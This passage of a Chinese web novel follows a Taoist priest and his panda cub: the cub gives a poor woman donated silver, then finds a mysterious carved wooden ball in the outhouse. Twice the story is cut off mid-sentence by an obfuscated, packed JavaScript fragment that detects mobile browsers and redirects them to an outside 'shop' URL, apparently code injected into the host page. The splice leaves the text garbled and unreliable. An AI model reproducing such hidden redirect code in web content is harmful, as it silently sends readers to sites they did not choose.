“就吃粥?”赵员外惊讶地转过头,“那不得饿瘦了?熊可是要吃肉的啊!” “它不挑。”道一淡淡道,“给什么吃什么。有肉吃肉,没肉吃粥,从不为吃的发愁。” 赵员外愣了一下,又转回头去看黑白。黑白已经把鸡腿啃完了,正在舔那个橘子。它舔橘子的方式很特别——先用牙咬一个小口,然后把舌头伸进去,一下一下地卷着汁水,舔得干干净净,最后把瘪掉的皮拨到一边,又开始舔自己沾了果汁的爪子。 它舔爪子的时候,一只脚伸得老高,脑袋歪到一边,舌头一下一下地够着脚掌,姿势十分滑稽,整个熊像一团毛茸茸的球。赵员外看着它这副模样,忍不住又笑了起来。 “不为吃的发愁,”他乍舌道,“这话说得……比多少人都明白。我那些生意场上的朋友,个个家财万贯,可谁不是天天为这个愁为那个愁?倒不如这山里的熊,吃饱了就睡,睡醒了就晒太阳,啥也不愁。” 他站起身来,整了整被压皱的衣袍,走到正殿门口,又回头看了一眼。 黑白已经把爪子舔干净了,翻了个身,露出白花花的肚皮,靠着道一四仰八叉地躺在青石板上。四只爪子朝天伸着,像一朵翻了肚的蘑菇。 赵员外看了好一会儿,摇了摇头,笑着走进殿去。 他在蒲团上重新跪下,双手合十,闭着眼睛。这一次他没有絮叨,只是安安静静地跪着,脸上的表情比方才认真了许多。过了许久,他才站起身来,从袖中摸出一锭银子,放在香案上。 银子不小,足有五两有余,在昏暗的殿内泛着柔和的光。 他走出殿来,在黑白身边蹲下。黑白掀了掀眼皮,看见是他,又闭上了,继续睡它的觉。 “小家伙,”赵员外伸手揉了揉它的脑袋,跟它说道,“下回我还来,给你带更多好吃的。” 黑白这回连眼皮都没掀,只是尾巴尖在身后轻轻晃了一下。赵员外站起身,走到道一面前,恭恭敬敬地行了一礼:“道长,今日多有叨扰。这点香火钱,不成敬意。您这道观虽小,但有这么一位小东西住着,比什么风水都强。” 道一回了一礼,没有说话。 赵员外又在院中站了一会儿,絮叨了几句山路的难走和道观的清净,终于带着两个家仆告辞离去。 他走时嘴里还哼着小曲儿,圆滚滚的身影在蜿蜒的山路上渐渐远去。两个家仆跟在后面,一个提着空食盒,一个背着空包袱,三个人走得摇摇晃晃的,像一串滚下山坡的汤圆。 道一站在院门口,目送他们离去。 他低头看了看黑白。黑白无辜地抬头看着他。 道一转身走回院中,将石桌上赵员外留下的残局收拾好,又把那锭银子收进柜中。 路过黑白的时候,略带笑意的说道“小熊精”。 10. 第十章:银子 五两银子,说多不多,说少也不少。于山下的人家而言,够吃用两三个月了。但于他而言,倒真没什么用处。 这座道观虽然破旧,但他住在这里多年,早已习惯了清贫。屋顶漏了,他自己爬上去补;桌椅坏了,他自己拿刨子修;院墙塌了一角,他自己和泥砌砖。他有一手好木工活,平日里做些小物件托人带到山下换些米粮,日子虽然清苦,却也自在。 银子这种东西,于他而言不过是身外之物。那赵员外留下银子,是一片诚心,他收了,是成全对方的心意;但这银子怎么用、用在哪里,于他本人而言,确实没有太多分别。 道一将银子放进柜中,合上盖子,便不再去想它。 数日后,一个寻常的早晨。 道一在前院清扫落叶,黑白不是吃白饭的小熊。跟在他的身边,忙前忙后的跟着用嘴巴叼起落叶放在一堆。 院门外传来一阵轻微的脚步声。不是赵员外那种沉重的、踩得地面都微微发颤的脚步,而是轻轻的、带着些许疲惫的脚步,像是一双穿了很久的草鞋踩在碎石路上,沙沙的,软软的。 一个妇人从门外探进半个身子。 她穿着一身洗得发白的粗布衣裳,衣裳上打了好几个补丁。肩上背着一大捆柴火,柴火捆得结结实实,用的是山里的藤条,一圈一圈地缠得很紧,压得她的脊背微微弯了下去。她的脸上带着常年风吹日晒留下的粗糙,颧骨高高的,两颊却没什么肉,皮肤被晒成了深褐色,额头上刻着几道深深的皱纹,整个人看起来又瘦又憔悴,像一棵被风吹干了水分的枯树。 她站在门口,犹豫着要不要进来。这座道观她路过许多次,但从来没有进去过。今日实在是走累了,肩上这捆柴压了她一路,从山脚一直背到半山腰,中间歇了三四回,每回都把柴火靠在路边的石头上,喘上好一阵子才能继续走。她想找个地方歇歇脚,讨口水喝。 “有人吗?”她怯怯地唤了一声,声音沙沙的,像是嗓子眼里卡了沙子。 道一放下扫帚,微微点头:“请进。” 妇人连忙道谢,声音里带着一种小心翼翼的卑微。她将肩上的柴火卸下来,靠在院墙边上。卸柴火的时候动作很小心,先把柴火靠在墙上,然后慢慢地松开肩上的藤条,生怕动作大了会蹭脏道观的墙壁。那墙壁虽然是土墙,颜色发黄,上面还有几道裂纹,但她还是觉得很不好意思。 黑白此时已经站了起来,走到了她脚边,仰头看着她。它的鼻子一动一动的,在闻她身上的气味。 妇人低头看见黑白,吓了一跳,往后缩了半步,差点踩到身后的柴火捆。她的眼睛里闪过一丝惊恐——山里的熊可是会伤人的。 “别怕,它不伤人。”道一的声音从身后传来,不紧不慢的,带着一种让人安心的平静。 妇人定了定神,仔细看了看黑白。她发现这只小熊确实没有什么凶相——它没有龇牙,没有咆哮,甚至没有露出警惕的表情。它只是安安静静地蹲坐在那里,歪着脑袋看她,两只圆圆的耳朵竖着,黑溜溜的眼睛里没有攻击性,倒像是……在看什么让她在意的东西。 那双眼睛很干净,干净得不像是野兽的眼睛。 妇人紧绷的肩膀慢慢松了下来。她在院中的石凳上坐下,将背上的柴火卸下来之后,整个人像是散了架似的,靠在石桌边上,长长地呼出一口气。 黑白没有离开,就蹲坐在她脚边,安静地看着她。 它在看她的手。那双手粗糙得很,指节粗大,像是被什么东西一节一节地捏肿了。指甲缝里嵌着洗不掉的泥垢,手背上裂了好几道口子,已经结了痂,黑褐色的痂皮翘起来一角,露出里面粉红色的新肉。 黑白又看了看她靠在墙边的那捆柴。柴火捆得整整齐齐,每一根都粗细相仿,长短一致,显然是精挑细选过的。她砍这些柴,怕是花了整整一个上午的功夫。但柴火的量并不多——不是她不想多砍,是背不动了。那捆柴压在她肩上的时候,她的腰几乎弯成了直角,每走一步都要咬紧牙关。 它又看了看她的肚子——肚子扁扁的,瘪瘪的,衣裳空荡荡地挂在身上,像是里面什么也没有。 黑白闻了闻她身上的气味。那气味很复杂——有汗水的咸味,有泥土的腥味,有树皮的苦涩味,有柴火燃烧后残留的烟气。但她没有食物的气味。 妇人歇了约莫一刻钟,便起身道谢,准备离去。她站起来的时候膝盖“咔”地响了一声,她皱了皱眉,用手撑了一下石桌,才站稳。她重新将那捆柴火扛上肩,脊背又弯了下去。她一步一步地往院门外走,步伐很慢,每一步都像是踩在棉花上,软绵绵的,没有力气。 黑白跟在她的脚边,一直跟到了院门口。它的步子也很慢,和妇人的步伐保持着一致,像一个小小的护卫。 妇人回头看了它一眼,挤出一个疲惫的笑容。那笑容很浅,只是在嘴角微微翘了一下,眼睛里却没有笑意,只有一种深深的、说不清道不明的疲倦。 “小东西,回去吧。”她的声音沙沙的。 黑白没有回去。它在院门口站了一会儿,看着妇人的背影消失在林间小路上。那捆柴火在她背上晃晃悠悠的,像一座会移动的小山。她走得很慢,走了好一会儿,才拐过山路的一个弯,彻底消失在松林的阴影里。 黑白转过身,跑回了正殿。 道一正在正殿里整理香案,它是跑到香案前,后腿一蹬,前爪搭上了香案的边缘,整个身子立了起来,鼻子使劲地嗅着。 银子已经不在这里了。但它记得这里曾经有过那个气味——那种冷冷的、硬硬的、带着金属味道的气味。赵员外曾跟它逗趣过银子的好处,是穷人的最爱,很有用的。 自打赵员外来过,黑白算是见过世面了,知道了穷和富。赵员外是福,它和道一是穷,虽然它不认为他们是穷。而那个妇人看起来就很穷了,银子对她很有用。 它转过头,看向道一,用一种询问的目光望着道一。 道一看着它,微微挑眉。 黑白放下前爪,走到他脚边,用脑袋拱了拱他的小腿。它的脑袋圆圆的,毛茸茸的,拱在腿上有一种温暖的、沉甸甸的触感。然后它再次看向香案,又转头看向院门的方向——那个妇人离开的方向。 它的意思再明白不过了。 道一愣了一下,他走到柜子前,打开盖子,将那锭银子取了出来。 五两银子,在他手里安安静静地躺着,银光冷冷的,沉甸甸的。 他蹲下身来,与黑白平视。 “你想把这个给她?”他问。 黑白凑上前,鼻子碰了碰那锭银子,嗅了嗅那个冷冷的金属气味,然后再次看向院门。它的耳朵竖得直直的,尾巴尖在身后轻轻晃着。 道一看着它那双黑溜溜的眼睛,忽然想起了那日赵员外说的话——“了不得啊。” 他现在倒不觉得是“了不得”。他只是觉得,这只小熊心里头,有很柔软的善良。 他把银子递到黑白嘴边:“去吧。” 黑白叼住银子,颠颠地跑出了院门。银子在它嘴里沉甸甸的,它跑起来的时候脑袋一点一点的,道一就跟在它身后。 林间小路上,妇人正扛着柴火缓缓走着。她的步伐很慢,粗重的呼吸声在林间清晰可闻,像是风箱被一下一下地拉着。 她的肚子叫了一声,咕噜噜的,在安静的山林里格外清晰。她用手按了按肚子,咽了一口口水,继续往前走。靠近村子的山林都是有主的,她不敢去砍柴,只得往深山里走,好在路是走熟的,这附近的野兽也很少。 身后传来细碎的脚步声,妇人回过头,看见那只小熊正朝她跑来,嘴里叼着什么东西,一颠一颠的,四条小短腿倒腾得飞快。它跑得很急,好几次差点被地上的树根绊倒,但每次都稳住了,继续往前跑。 黑白跑到妇人跟前,把嘴里的东西放在她的脚边,然后退后两步,蹲坐下来,仰头看着她。它的嘴巴因为叼了太久银子,嘴角有一点银子的金属味,它伸出舌头舔了舔,然后继续仰着头看她。 妇人低头一看,是一锭银子。 白花花的银子,起码五两有余。银子在午后的阳光下泛着柔和的光,上面还有一点点湿漉漉的痕迹——是黑白叼过留下的口水。 她愣住了,一时之间说不出话来。她的嘴巴微微张着,眼睛瞪得很大,瞳孔里映着那锭银子的光。 “这、这……”妇人的嘴唇哆嗦着,声音发颤,像是从嗓子眼里挤出来的。她抬头看向随后跟来的道一,眼神里满是惊惶和不知所措,“道长,这怎么使得,我、我只是路过讨口水喝……” “拿着吧。”道一语气平淡,像是在说一件再寻常不过的事。他站在几步之外,双手拢在袖中。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17446825|201100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“这怎么行……”妇人连连摆手,动作慌乱得像是被烫到了,“我什么都没有做,怎么能收您这么重的……” “不是贫道给的。”道一道。 妇人困惑地看了看他,又看了看蹲坐在脚边的小熊。 黑白歪着脑袋,乌溜溜的眼睛安静地望着她,嘴巴微微张着,舌尖若隐若现。安安静静地看着她,像是在确认她有没有收下。 “是它。”道一简短地说。 妇人彻底呆住了。 她低头看着那锭银子,又看着黑白,眼眶忽然就红了。那红色从眼眶开始,慢慢地蔓延到整个眼睛,眼白上布满了红血丝,泪水在里面打着转,却迟迟没有落下来。她张了张嘴,想说些什么,喉咙却像是被什么东西堵住了,一个字也说不出来,只能发出一些含糊的、破碎的音节。 她慢慢弯下腰——不是扛柴火时那种被压弯的弧度,而是认认真真地、郑重其事地弯下腰去,像是要行一个很大的礼。她将那锭银子捡起来,攥在手里,攥得很紧很紧,指节都泛了白。她那双粗糙的、裂着口子的手,将那锭银子攥得紧紧的。 “谢谢。”她的声音哑得几乎听不见。 “谢谢……” 她不知道是在谢道一,还是在谢那只熊。也许都有。 道一没有说什么,只是微微点了点头,转身往回走。他的步伐很轻,和来时一样,不紧不慢的。 黑白最后看了妇人一眼——它看见她终于哭了出来,眼泪顺着脸颊淌下来,滴在那锭银子上,把银子上的口水痕迹冲掉了。 但它不太明白人类为什么要哭,明明收了东西应该高兴才对。黑白歪了歪头。然后它转过身,小跑着跟上了道一的脚步。 回去的路上,黑白走在道一前面,步伐轻快,尾巴尖翘得高高的,像一根被风吹动的小草。它的爪子踩在松软的泥土上,留下一个个小小的爪印。 它跑了一段,又回头看看道一有没有跟上,发现他走得太慢了,便停下来等他,等他走近了,再继续往前跑。 道一看着它的背影,心中平静而妥帖。 银子是赵员外的诚心,妇人是山间的困顿,而他的熊不过是把它从一处衔到了另一处。他不过是成全了这只熊的念头罢了。 —— 那妇人回到家中,推开院门的时候,手还在发抖。 她住在山脚下的一个小村子里,三间土坯房,墙根都裂了缝,屋顶的茅草被风吹得稀稀拉拉的。院子里空荡荡的,只有墙角堆着几捆干柴,和一只缺了口的瓦缸。 公公婆婆从屋里迎出来,看见她从怀里掏出来的银子,两个老人都愣住了。 “这……这哪来的?”公公的声音发抖,眼睛瞪得老大。 她进屋把事情一五一十地说了。她如何路过山中的道观,如何进去歇脚喝水,那只小熊如何把银子叼到她脚边,那道长如何说“是它给的”。 听完,婆婆先哭了出来,拉着妇人的手,一个劲儿地说:“有救了,有救了,孩子有救了。” 他们的孩子——一个三岁的小男孩——已经病了半个多月了。起初只是发热咳嗽,后来烧得越来越厉害,整个人烧得滚烫,村里的赤脚郎中来看过,郎中说,得去镇上请好大夫,用好药,可那得花多少银子啊。 妇人的丈夫为了给孩子看病,已经去了镇上给人做工了,一天挣十几个铜板。可那些钱,连大夫的诊金都不够。妇人自己也上山去砍柴,想背到集市上卖几个钱,哪怕只能买一副药回来,也总比干等着强。 她不敢耽搁,连夜去了镇上。镇上的郎中开了药灌下去,孩子的烧退了。 从那以后,她逢人便说山中有座道观,道观里有一只善良的小熊,和一个好心的老道士。她说那只小熊是神仙座前的灵兽,专门下山来救苦救难的。她说那道长是有大修行的人,住在山中不问世事,但心肠比谁都好。 这些话在村子里传开了,又传到邻村,传到镇上。有人信,有人不信,但故事倒是越传越远,越传越玄乎。有人说那熊是白的,有人说那熊是黑的,有人说它会说话,有人说它会变人形。有人说那道长能掐会算,未卜先知,有人说那道观里的三清祖师特别灵验,求什么得什么。 虽然山中的道观路途遥远,寻常人难得上去一趟,但偶尔也会有人专程爬上半山腰,来看看这座传说中的道观,上炷香,添点香火钱。 11. 第十一章:小球 黑白在道观里的日子,过得简单又自在。 今天天一亮,它从竹筐里跳出来,跑到院子里写完字,然后去厨房找道一。 道一正在厨房里和面,它蹲在旁边,看着面团在道一手里翻来翻去,看得眼睛都不眨。 趁着道一转身拿东西,它伸出爪子去够面团,爪尖刚碰到,面团上就多了三道黑印子。 道一转回来看见,它立马歪头张着嘴巴扮无辜。 道一也没说它,只是把那块沾了爪印的面揪下来,揉成一小团,放在灶台边上晾着。他低头看它的时候,眼角的皱纹挤在一起,眼神里没有半点责备,倒像在看一个调皮的孩子。 后来晾干了,黑白叼着那团硬邦邦的面疙瘩玩了一整天,最后不知道滚到哪个角落里去了。 下午,道一在前殿整理香案。他拿着抹布,一个一个地擦着供桌上的香炉。黑白跟在他身后转了一会儿觉得没意思,转身出了殿门,等道一收拾好了它再来找他。 黑白早就熟悉道观了,道一也就随它去了。 只是望着黑白圆滚滚的小背影,暗下想到,这小家伙来这么久了,个子不见长,身材倒是圆润了很多。罢了,明天叫它跟他一起活动活动,总要健健康康的才好。 黑白还不知道自己要加武功课了,迈着颠颠的小步伐出去玩了。 今天在道观哪里玩儿呢? 道观不大,前殿后院,犄角旮旯,它都跑遍了。供桌底下它钻过,三清祖师像后面它躲过,厨房的灶台上它跳上去过——被烫了一下爪子,以后再没上去过。它把道观的每一个角落都闻了一遍,每一块石板都踩了一遍,每一丛草都拱了一遍。 只有一个地方,它从来不主动去。 道观最后面,挨着后墙的地方,有一间矮矮的小屋子。那是道一的厕房。 黑白知道那是干什么的——道一每天会去那里,出来以后有时候会洗手。黑白第一次闻到那个味道的时候就皱起了鼻子,从此经过那间小屋子门口都是快走几步,绝不逗留。 它有自己的规矩:不在道观里拉屎撒尿。每次想方便了,它都是跑到竹林深处解决。道一发现了这个习惯,省了不少心,有时候看着它急匆匆翻墙跑出去的背影,眉毛会挑一下,嘴角弯起来。 在后院转了一圈,觉得没意思。黑白甩了甩毛,开始往道观后面走。它本来是想去竹林转转的,但走到后墙的时候,忽然停下了脚步。 厕房的门开着一条缝——大概是道一用完忘了关严实。黑白站在门口,鼻子抽动了一下,那股熟悉的味道从门缝里飘出来。 它皱了一下鼻子,正准备快步走开,忽然它的目光被地上什么东西吸引住了。 门缝底下从外面透进去一线光,照在泥地上。地上有一个灰扑扑的东西,圆圆的,在光线里露出一小半。黑白歪着头看了一会儿,好奇心被勾了起来。 它犹豫了一下——厕房的味道实在不好闻,但它实在太无聊了。它把鼻子凑近门缝,使劲嗅了嗅。 那股味道还在,但好像……不只是厕房的味道。还有一种很淡很淡的、说不上来的东西混在里面。 它的爪子不自觉地往前伸了一下,碰到了门板。门没有锁,只是虚掩着,被它一碰,吱呀一声,开大了一些。 黑白往里面探了探头。厕房不大,角落里堆着几根木棍、一捆旧麻绳、一只缺了口的瓦缸。那个灰扑扑的东西就躺在瓦缸旁边,半埋在泥土里。 它犹豫了一瞬,还是把肥肥的身子用力挤了进去。 黑白绕过瓦缸,走到那个东西旁边,用爪子拨了一下。那个东西轱辘轱辘地滚了出去,撞到墙根停下来。它跟上去,又拨了一下。东西滚到门缝透进来的那道光里,停住了。 黑白蹲下来,仔细看着那个东西。是一个小球。看起来是木头做的,灰扑扑的,上面落了一层灰,看不出原来的颜色。大概有道一一只手那么大。 它比普通的木头沉一些,爪子拨上去的时候有一种厚实的感觉,像拨一块小石头。球面上有雕痕,一道一道的,弯弯曲曲的线条。 黑白用爪子把球拨转了一下,那些线条就跟着转,一圈一圈的,看不太清楚,但好像又有什么规律。它把球拨到光里,那些线条在光下面有了深浅,盯着那些线条看了一会儿,看不懂。 它又用爪子拨了一下球。球滚出去,在泥地上轱辘轱辘地响,声音闷闷的,很扎实。 它追上去,又拨了一下,球又滚出去。它追上去,再拨一下。它玩得太开心了,连厕房的味道都忘了。 它越玩越开心,尾巴翘得高高的,耳朵支着,眼睛亮亮的。球滚到墙根,它用爪子把它捞回来;球滚到瓦缸底下,它把脑袋伸进去,用鼻子拱出来。有一次它拨得太用力,球飞了出去,撞到门板上,弹回来,它吓了一跳,往后蹦了一下,然后又扑上去,把球按住,用两只前爪抱着,在泥地上打了个滚。 它从来没玩过这么好玩的东西。竹枝太轻了,叼着没意思;刨花太软了,一碰就破;兰草的叶子一拨就断。这个球不一样,它圆圆的,重重的,滚起来轱辘轱辘响,追起来要跑,扑住了可以抱,抱住了可以滚。 玩得它浑身都是劲儿,四条小腿倒腾得飞快,尾巴摇得像风车。而且——它说不清楚——每次碰到这个球的时候,好像有一点点东西从爪子上传过来,很轻很轻,像冬天趴在道一脚背上那种感觉。但它玩得太高兴了,根本没细想。 道一在前殿整理完香案,回到后院,发现黑白不在。以为黑白去竹林了。 刚要转身回前院,听到了后墙处有动静。道一走过去查看,走到厕房前面的时候,他看见门开着,里面传来轱辘轱辘的声音。他站在门口,往里看。 黑白正在里面,抱着一个灰扑扑的小球,四仰八叉地躺在泥地上,四只爪子抱着球,在肚皮上滚来滚去。滚着滚着,球从爪子里滑出去,轱辘轱辘滚到墙角,它立刻翻身爬起来,跑过去用爪子捞回来,又抱着滚。 它玩得正欢,听见道一的脚步声也不在意。 道一站在门口没有出声,看着黑白抱着球打滚的样子。他的眉毛慢慢挑了起来,眼睛里浮起一层薄薄的笑意,嘴角的皱纹往两边展开。 他整个人靠在门框上,双手抱在胸前,看着那只傻乎乎的小熊在泥地里滚来滚去。看了好一会儿,他的目光才从黑白身上移到那个小球上。 灰扑扑的,木头的,上面有雕痕。他的笑容慢慢凝固了。眉毛从挑着变成了拧着,眼角的笑纹消失了,嘴唇抿成一条线,下巴的肌肉绷紧了一下。 黑白玩尽兴后抬起头,看着道一,又看看自己身上的泥灰,后知后觉有点心虚,耳朵往后撇了撇。 道一蹲下来,伸出手把球拿起来,放在手心里,翻过来看。球面上的线条从这一面转到那一面,弯弯曲曲的,像是某种纹路,又像是某种文字。 他看着小球想起了一些故意遗忘的事,眼睛眯起来,眼角的皱纹挤在一起,呼吸变慢了一些。黑白从地上爬起来,走到他脚边,用鼻子拱了拱他的手。它的鼻子湿湿的,带着热意拱在他手背上。 道一回过神低头看它。它的鼻子上有一块灰,耳朵上挂着蜘蛛网,嘴巴上沾着泥,两只眼睛黑亮亮的,看着他手里的球,短小的尾巴在背后晃动。 “好玩儿?”他问。 黑白迅速点头。 道一看了看手里的球,又看了看这间厕房。他的表情变得无奈,又从无奈变成了一种深深的嫌弃。 他把球放在地上,站起来,用袍子擦了擦手。黑白蹲在球旁边,仰着头看他,满脸都是“这个球好好玩”的表情。 道一看着它那副样子,深深叹了一口气,无奈道“先出来吧”。 黑白用嘴巴叼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17446826|201100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着小球跟着道一出了厕房。回到后院,道一看它还用嘴巴叼着,更无奈了。 道一指了指厕房的方向,又指了指球,表情很复杂。“那个地方……我放了它几十年了。” “几十年。”他又强调了一遍,用手指比了个数字。“得亏它是灵宝,不然早就……”他顿了顿,没把后半句说出来,只是用手在鼻子底下扇了扇风,然后把手放回膝盖上,盯着那个球又加了一句,“腌入味儿了。” 他蹲下来,伸出两根手指,捏着球的一个角把它从黑白嘴里拎起来。他的动作很小心,像是怕碰到球的其他地方。 他把球举到眼前,又翻来覆去地看了看,又凑近闻了一下,这次闻的时间很短,只是轻轻一嗅,然后就拿开了。他的眉头忽然松开了,表情从嫌弃变成了疑惑。他又凑近闻了一下,这次闻的时间长了一些,然后他愣住了。 他把球翻过来,看底部。底部有一块颜色深一些的印子,边缘渗进木头的纹路里。但他闻到的不是厕房的味道——不是那种他想象中的、放了几十年的、腌入味了的味道。就是木头的味道,很淡。他把它放在厕房几十年,它就在那里躺了几十年,但它还是它自己。那些脏的、臭的、腌臜的东西,一样也没有沾上。 道一看着手里的球,脸上有一种说不清的复杂情绪。他想起很多年前,这个球第一次出现的时候,江湖上为了它死了多少人。 他想起那些人的脸,想起那些血流成河的日子,想起最后它落在他手里的时候,他恨不得把它砸成粉末,却又无法破坏它。他把它带到了这座道观,扔在厕房的角落里,和破木棍、烂麻绳堆在一起。 几十年过去了,它被一只竹熊从角落里翻出来,当成了玩具。 道一感叹世事多变。转过身招呼黑白去厨房烧热水,不管是熊还是小球都必须洗一下。 黑白虽然变成了一只长不大的小熊,可是遇见道一后身上的肉没少长,遇水后也还是一只实心的团子。可怜道一一大把年纪给实心小熊洗澡,还用上了自己做的皂荚膏子,洗完累坏了。 刚擦个半干的黑白立刻跳上凳子,把前爪搭在桌沿上,伸长脖子看那个球。道一把洗干净的小熊放在桌子上了。 道一看着它那副急不可耐的样子,嘴角弯了一下,把球往它那边推了推。黑白立刻用爪子按住,把球扒拉到自己面前,抱着球从凳子上跳下来,在院子里滚小球。 道一站在旁边看它玩的开心,摇摇头转身进屋,从柜子里翻出一块旧布,裁成合适的大小,缝了一个小小的斜挎布袋。布袋不大,刚好能放进那个球。 他拿着布袋走到院子里,黑白正抱着球在墙根底下打滚,感叹澡白洗了,但转念一想刚刚洗澡最主要的也就是除味。 他蹲下来,叫了一声:“黑白。” 它抬起头,嘴里还叼着球,口水从嘴角流下来,滴在球面上。道一看着那个被他洗得干干净净的球又被糊了一层口水,嘴角抽了一下,但还是伸出手,把球从它嘴里拿下来,塞进布袋里,系好系带,挂在它脖子上。 布袋斜挎着,刚好垂在它肚子旁边,球在布袋里沉甸甸的,一晃一晃的。 黑白低头看了看布袋,又抬头看了看道一。它站起来,跑了两步,布袋里的球跟着晃了两下,轱辘轱辘地响。它停下来,用爪子拨了拨布袋,球在里面滚了一下,又轱辘一声。它的眼睛亮了起来,开始在院子里跑来跑去,布袋跟着一晃一晃的,球在里面滚来滚去,轱辘轱辘的声音响个不停。 然后跑回道一面前,兴奋地望着他。 “玩儿的时候可以拿出来,不玩儿了又想带着,就放进袋子里,记得被缠住自己了。”道一耐心地给黑白交代。 黑白听后高兴地围着道一的脚转圈,道一也乐呵呵的任由它转圈。只是看着黑白高兴的样子,开始反思自己之前没有想到给黑白准备玩具。 12. 第十二章:小球的秘密(上) 道一每天早上都会在院子里活动活动筋骨。 这是他在江湖上养成的习惯,几十年了,从来没断过。天刚亮的时候,他会在院子里站定,双脚分开,双手缓缓抬起来,慢慢地做一套养生的功夫。 年纪大了,养身的功夫就够用了,他动作很慢,不急不躁,像水在流,像云在飘。 他做这些的时候,黑白已经翻墙出去吃竹子了。有时候它回来得早,会撞见道一在收势,看见他双手慢慢放下来,深深地吐一口气。 它看一眼,然后跑去喝水,也不在意。或者趴在旁边看道一练功。 这天早上,黑白从竹林回来的时候,道一还在院子里。他站在老树下面,双手抬着,身体微微转动。黑白蹲在屋檐下,一边舔着爪子上的露水,一边看着他。 道一做完了一段,收了势,转身看见黑白蹲在那里,眼睛亮亮地看着他。 他想了想,说:“黑白,从今天起,你每天早上也要活动活动。不用学我,在院子里跑跑也行,抬抬爪子也行,活动开就行。” 黑白歪了一下脑袋然后站起来,在院子里跑了一圈,跑回来,蹲在道一面前,仰着头看他。那意思是:我动了。 道一看着它那副样子,嘴角弯了一下。“可以了,去写字吧。” 黑白没有去写字。它蹲在那里,看着道一的手。道一刚才抬手的时候,手从胸口慢慢推出去,又慢慢收回来。那个动作很好看,它想学。 它站起来,用两条后腿撑着地,把两只前爪抬起来,学着道一的样子,慢慢往前推。但它从来没做过这个动作,身体晃了晃,差点摔倒。它稳住,继续推。推到一半,身体又开始晃,它咬着牙稳住,继续推。推到底了,它把爪子收回来,喘了一口气。 道一看着它,无奈地说:“你不用学我,跑一跑就行。” 黑白没理他。它又站起来,把前爪抬起来,慢慢往前推。这次它推得比刚才稳了一些,但还是歪歪扭扭的。它推完了,收回来,又推了一次。 它推了好几次,每一次都比上一次稳一点,但还是和道一做的完全不一样。道一做起来像水流,它做起来像一只站不稳的小熊在够树上的果子。 道一没有再说话。他看着它那副认真又笨拙的样子,心里软了一下。它想学,就让它学吧,等一会儿帮它揉揉腿。 黑白练了好一会儿,累得直喘气,终于不练了。它四脚着地,甩了甩头,跑去蘸着水在石板上写字。 写完以后,它趴在屋檐下,把布袋里的木头小球倒出来,用爪子拨了一下。球轱辘轱辘滚出去,它追回来,再拨一下,再追回来。 道一看着它玩球,心想有这个活动量,倒也不必让它每天跟着自己练。只是他低估了小熊的恒心和倔强,黑白之后倒也跟着道一风雨无阻了练,身形更加灵活了。 黑白追了几趟,忽然停下来,把球抱在怀里,用下巴蹭了蹭,眯起眼睛,尾巴慢慢地扫。那个样子很舒服,很享受,像冬天趴在火炉边的猫。 道一看着它,忽然想起昨天琢磨的事——黑白来道观这么久了,除了这个木头小球,好像没有什么别的玩具。 他站起来,往后院走。黑白正抱着球在墙根底下打滚,没注意他走了。 后院的杂物间里堆着不少竹子,是去年秋天从后山砍的,一直没用完。道一挑了几根粗细均匀的,拿到院子里,坐在石桌旁边,开始劈篾。 黑白听见声音,从墙根底下探出脑袋,看见道一手里拿着篾条,便抱着球跑过来,蹲在他脚边看。 篾条在道一手指间穿来穿去,青黄色的篾条一根一根地交错,慢慢地围成一个圆圆的框架。它看了一会儿,又低头拨弄自己的球,拨一下,球轱辘轱辘滚出去,它追回来,再拨一下,再追回来。追了几个来回,又蹲回来看道一编篾条。 道一的手很快,不到半个时辰,一个拳头大小的竹编小球就做好了。竹球圆圆的,轻飘飘的,篾条之间的缝隙透着光。 他把竹球放在桌上,黑白立刻跳上凳子,伸长脖子看。它用鼻子拱了拱竹球,竹球滚了一下,轻飘飘的,轱辘的声音和木头球不一样。 它又拱了一下,竹球滚到桌边,掉下去,在地上弹了两下,轱辘轱辘滚到墙根。黑白从石凳上跳下来,追上去,把竹球叼回来,放在道一脚边,仰着头看他。 道一又拿起篾条,继续编。第二个竹球比第一个大一圈,编法也不一样,篾条更粗一些,编出来的纹路更密。黑白蹲在旁边看着,等道一编好了,立刻叼起来,和第一个放在一起。 道一又编了第三个,最小的,只有碗口那么大。三个竹球排成一排,在阳光下泛着淡淡的青光。 黑白在三个竹球之间跑来跑去,用鼻子拱拱这个,用爪子拨拨那个。竹球轻,一拨就跑很远,它追了这个,那个已经滚到墙根了;它去追那个,这个又滚到石桌底下去了。 它忙得团团转,短短的尾巴翘得高高的,耳朵支着,四条小腿倒腾得飞快。 道一坐在旁边,乐呵呵地看着它那副手忙脚乱的样子。 但黑白玩了一会儿,就跑回屋檐下面,把它的木头小球从布袋里倒出来,抱在怀里。它用下巴蹭了蹭木头球,眯着眼睛。那三个竹球被它丢在院子里,轱辘轱辘地滚到各个角落。 道一看着它抱着木头球的样子,心里动了一下。它还是最喜欢那个旧的。那个灰扑扑的、在厕房角落里躺了几十年的、他恨不得扔掉的木头球。他走过去,在它旁边坐下来。 黑白抬起头看了他一眼,把木头球往他那边推了推,让道一也玩玩自己的小球。 道一没有接球。他低头观察黑白,看着它用爪子把球拨来拨去。球在它爪子里轱辘轱辘地转,上面的线条在阳光下明明暗暗。黑白玩着玩着,又把球贴在脸上蹭了蹭,眯起眼睛,整个身体都放松下来,好像很舒服的样子。 那种舒服不是玩出来的舒服,是更深处的、从骨头里透出来的。 